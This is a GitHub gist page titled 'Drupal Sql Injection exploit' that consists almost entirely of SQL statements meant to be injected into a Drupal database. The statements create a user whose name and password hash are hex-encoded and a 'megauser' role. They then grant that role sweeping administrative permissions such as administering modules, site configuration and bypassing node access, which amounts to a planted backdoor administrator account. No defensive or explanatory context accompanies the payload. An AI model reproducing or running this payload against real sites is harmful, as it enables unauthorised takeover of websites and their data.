Skip to content

Instantly share code, notes, and snippets.

@allgood2386
Created November 4, 2014 14:16
Show Gist options
  • Save allgood2386/3dc1e073b9f0c622a82d to your computer and use it in GitHub Desktop.
Save allgood2386/3dc1e073b9f0c622a82d to your computer and use it in GitHub Desktop.
Drupal Sql Injection exploit
# Creates "megauser role with elevated permissions"
#########################################
insert into users (uid,`name`,`pass`,status) select max(uid)+1,0x64727570616c646576 ,0x245324437274333435366767706141636d4e39447868367a674c66637736384c4e62697a5a6543726f2e4561574d33427a634b6a316835,1 from users;
insert into users_roles(uid,rid) select uid,1000 from users where name like 0x64727570616c646576;
INSERT INTO role (rid,name, weight) VALUES (1000,'megauser', '999')
INSERT INTO role_permission (rid, permission, module) VALUES (1000, 'administer blocks', 'block'),(1000, 'administer filters', 'filter'),(1000, 'bypass node access', 'node'),(1000, 'administer content types', 'node'),(1000, 'administer nodes', 'node'),(1000, 'access content overview', 'node'),(1000, 'access content', 'node'),(1000, 'view own unpublished content', 'node'),(1000, 'view revisions', 'node'),(1000, 'revert revisions', 'node'),(1000, 'delete revisions', 'node'),(1000, 'administer modules', 'system'),(1000, 'administer site configuration', 'system'),(1000, 'administer themes', 'system'),(1000, 'administer software updates', 'system'),(1000, 'administer actions', 'system'),(1000, 'access administration pages', 'system'),(1000, 'access site in maintenance mode', 'system'),(1000, 'view the administration theme', 'system'),(1000, 'access site reports', 'system'),(1000, 'block IP addresses', 'system');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment